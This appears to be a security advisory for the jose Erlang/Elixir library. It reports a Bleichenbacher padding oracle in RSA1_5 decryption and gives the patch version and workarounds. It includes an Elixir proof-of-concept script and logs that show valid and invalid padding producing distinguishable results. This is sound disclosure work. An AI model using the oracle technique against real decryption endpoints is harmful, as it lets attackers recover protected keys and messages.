RSAES-PKCS1-v1_5 decryption is a Bleichenbacher padding oracle
Description
The pure-Erlang RSAES-PKCS1-v1_5 decryption in jose_jwa_pkcs1 reveals whether a decrypted RSA block had valid PKCS#1 v1.5 padding: it returns the recovered message on conforming padding and a distinct error/{error, {badsize, _}} result otherwise. This is a classic Bleichenbacher ("million-message") padding oracle. An attacker with access to a decryption endpoint that unwraps RSA1_5 JWE keys — using only the public key — can recover the plaintext of a target ciphertext (e.g. a content-encryption key) or forge signatures through adaptive chosen-ciphertext queries, without ever holding the private key.
Details
eme_pkcs1_decode/2 (src/jwa/jose_jwa_pkcs1.erl:236-247) decodes an RSA-decrypted block and only accepts it when it matches the PKCS#1 v1.5 structure — a leading 0x00 0x02, a padding string of at least eight non-zero bytes, and a 0x00 separator — returning the trailing message M. On any deviation it returns the atom error.
The public wrapper rsaes_pkcs1_decrypt/2 (src/jwa/jose_jwa_pkcs1.erl:647-656), reachable from decrypt_private/3 with rsa_pkcs1_padding, forwards this pass/fail distinction unchanged and additionally returns {error, {badsize, _}} when the length check fails. The caller can therefore directly observe whether the decrypted block was PKCS#1-conformant. There is no implicit-rejection countermeasure (RFC 8017 §7.2.2): the code does not substitute a deterministic pseudo-random plaintext on padding failure, so the one-bit conformance signal leaks to the caller.
The underlying modular exponentiation in dp/2 (crypto:mod_pow(B, E, N), src/jwa/jose_jwa_pkcs1.erl:896) is a raw, non-blinded modexp. As a result, even if an application normalizes every failure to a single generic error, the padding check remains distinguishable by timing (a Marvin-style side channel), so the oracle survives return-value normalization.
Bleichenbacher's adaptive chosen-ciphertext attack needs exactly this distinguisher. With a decryption endpoint built on this module (for example JWE RSA1_5 key unwrapping), an attacker submits on the order of 10⁴–10⁶ crafted ciphertexts, each answered by the padding oracle, and narrows the plaintext of a target ciphertext until it is fully recovered.
PoC
The attached script encodes the threat model of an outside attacker who can submit attacker-controlled RSA1_5-wrapped keys to an application that calls the public JOSE.JWE.key_decrypt/3. The attacker knows only the server's public RSA key and never touches the private key.
Setup: it generates a 2048-bit RSA keypair, derives the public key and its modulus byte size, and forces JOSE onto the audited pure-Erlang backend. JOSE.crypto_fallback(true) enables the fallback, and an ETS override pins RSA1_5 to the vulnerable implementation so the OTP runtime does not silently route through its native RSA code:
:ets.insert(:jose_jwa,
{{:rsa_crypt, :rsa1_5}, {:jose_jwa_pkcs1, [{:rsa_padding, :rsa_pkcs1_padding}]}})The script then builds two ciphertexts from public information only. The conforming one is produced by encrypting a plaintext to the public key via JOSE.JWE.block_encrypt, compacting the token, and extracting its encrypted_key segment — a well-formed RSA1_5 wrapping. The non-conforming one is the RSA ciphertext integer zero, materialized as an all-zero byte string of modulus length; decrypting it yields an all-zero encoded block that cannot contain the required 00 02 || PS || 00 || M structure.
Both are passed through JOSE.JWE.key_decrypt/3, mimicking the internal chain down to rsaes_pkcs1_decrypt/2 → eme_pkcs1_decode/2. The mechanism is that the conforming block satisfies the padding check and the recovered key is returned, while the zero block fails the check and yields :error. The script captures this difference:
conforming_valid? = is_binary(conforming_result)
nonconforming_rejected? = nonconforming_result == :error
distinguishable? = conforming_valid? and nonconforming_rejected?It prints the result class of each decryption and the distinguishable? flag. The proof succeeds when the conforming ciphertext returns a binary key and the non-conforming ciphertext returns :error; otherwise the script raises "NOT VERIFIED". A printed padding validity distinguishable? : true demonstrates the one-bit oracle — the exact signal an adaptive Bleichenbacher attack consumes. The full script is attached below under "Scripts and Logs" so the maintainer can run it directly.
Impact
This is an adaptive chosen-ciphertext (Bleichenbacher) padding-oracle weakness in RSAES-PKCS1-v1_5 decryption. Any application that uses jose to unwrap RSA1_5 JWE keys (or otherwise calls decrypt_private/3 with rsa_pkcs1_padding) and exposes decryption outcomes across a trust boundary — a network endpoint, an error channel, or observable timing — is affected. An unauthenticated attacker knowing only the public key can recover the plaintext of intercepted ciphertexts (such as content-encryption keys, and thus the protected message) or forge signatures, by issuing many crafted decryption requests. The library itself provides distinguishable outcomes rather than RFC 8017 implicit rejection, and the non-blinded modexp keeps the oracle observable by timing even when callers normalize error values, so the mitigation must live in the library.
Patches
Mitigated in 1.11.13. When unwrapping the content encryption key with an RSA key management algorithm fails for any reason (padding, format or length), jose now substitutes a randomly generated CEK of the required length and continues, so the failure surfaces only as the ordinary content authentication failure, as RFC 7516 Section 11.5 recommends. The substitute CEK is generated on every decryption, not only on failure.
This removes the padding-validity signal from the API result. It does not make the RSA operation constant-time: timing differences in the underlying RSA decryption may still be measurable, and the low-level RSA padding helpers still return errors. RSA1_5 remains supported for compatibility.
Workarounds
Prefer RSA-OAEP or RSA-OAEP-256. If you do not need RSA1_5, refuse it: base64url-decode the protected segment returned by jose_jwe:expand/1 / JOSE.JWE.expand/1 and reject the token when alg is RSA1_5, before decrypting. Rate-limiting decryption failures per client also makes an adaptive attack much more expensive.
Scripts and Logs
# Verifies: RSAES-PKCS1-v1_5 decryption exposes a padding-validity oracle
#
# Threat model: an outside attacker can submit attacker-controlled RSA1_5
# wrapped keys to an application that calls JOSE.JWE.key_decrypt/3. The attacker
# knows only the server's public RSA key and never accesses the private key.
#
# Affected scope: this proof exercises jose's pure-Erlang `jose_jwa_pkcs1`
# fallback. That implementation returns the recovered key for conforming
# PKCS#1 v1.5 padding and `:error` for invalid padding. An application that
# exposes this distinction creates the one-bit oracle required by an adaptive
# Bleichenbacher attack. Applications can mitigate the observable oracle by
# normalizing all decryption failures, but the library API itself provides
# distinguishable outcomes rather than implicit rejection.
#
# The public trust boundary is JOSE.JWE.key_decrypt/3. The two ciphertexts below
# are constructed using only public information: one comes from public-key JWE
# encryption, and the other is the RSA ciphertext integer zero, whose decrypted
# block cannot contain valid PKCS#1 v1.5 encryption padding.
Mix.install([{:jose, "1.11.12"}])
# Model a platform on which JOSE routes RSA1_5 through its pure-Erlang fallback.
# The ETS override pins the backend for this proof because the current OTP
# runtime otherwise selects its native RSA implementation.
:ok = JOSE.crypto_fallback(true)
private_jwk = JOSE.JWK.generate_key({:rsa, 2048})
public_jwk = JOSE.JWK.to_public(private_jwk)
{:RSAPublicKey, modulus, _exponent} = JOSE.JWK.to_public_key(public_jwk) |> elem(1)
key_size = modulus |> :binary.encode_unsigned() |> byte_size()
# Initialize JOSE's algorithm registry before pinning RSA1_5 to the audited
# pure-Erlang implementation.
_ = JOSE.JWK.to_map(private_jwk)
:ets.insert(
:jose_jwa,
{{:rsa_crypt, :rsa1_5}, {:jose_jwa_pkcs1, [{:rsa_padding, :rsa_pkcs1_padding}]}}
)
jwe = JOSE.JWE.from_map(%{"alg" => "RSA1_5", "enc" => "A128GCM"})
# Conforming ciphertext: anyone with the public key can produce a valid RSA1_5
# JWE and extract its wrapped content-encryption key.
{_, compact_token} =
public_jwk
|> JOSE.JWE.block_encrypt("attacker-controlled plaintext", %{
"alg" => "RSA1_5",
"enc" => "A128GCM"
})
|> JOSE.JWE.compact()
%{"encrypted_key" => conforming_segment} =
compact_token
|> JOSE.JWE.expand()
|> elem(1)
conforming_ciphertext = Base.url_decode64!(conforming_segment, padding: false)
# Non-conforming ciphertext: c = 0 decrypts to an all-zero encoded message and
# therefore cannot satisfy the required 00 02 || PS || 00 || M structure.
nonconforming_ciphertext = :binary.copy(<<0>>, key_size)
conforming_result = JOSE.JWE.key_decrypt(private_jwk, conforming_ciphertext, jwe)
nonconforming_result = JOSE.JWE.key_decrypt(private_jwk, nonconforming_ciphertext, jwe)
conforming_valid? = is_binary(conforming_result)
nonconforming_rejected? = nonconforming_result == :error
distinguishable? = conforming_valid? and nonconforming_rejected?
conforming_result_class =
if conforming_valid?, do: {:key, byte_size(conforming_result)}, else: conforming_result
IO.puts("RSA modulus size : #{key_size} bytes")
IO.puts("conforming ciphertext result : #{inspect(conforming_result_class)}")
IO.puts("non-conforming ciphertext result : #{inspect(nonconforming_result)}")
IO.puts("padding validity distinguishable? : #{distinguishable?}")
IO.puts("")
if distinguishable? do
IO.puts(
"VERIFIED: JOSE.JWE.key_decrypt/3 returned a key for valid PKCS#1 v1.5 " <>
"padding and :error for invalid padding, exposing the distinction needed " <>
"for a Bleichenbacher oracle when propagated by an application."
)
else
raise "NOT VERIFIED: RSA1_5 decryption outcomes were not distinguishable"
end
Logs
RSA modulus size : 256 bytes
conforming ciphertext result : {:key, 16}
non-conforming ciphertext result : :error
padding validity distinguishable? : true
VERIFIED: JOSE.JWE.key_decrypt/3 returned a key for valid PKCS#1 v1.5 padding and :error for invalid padding, exposing the distinction needed for a Bleichenbacher oracle when propagated by an application.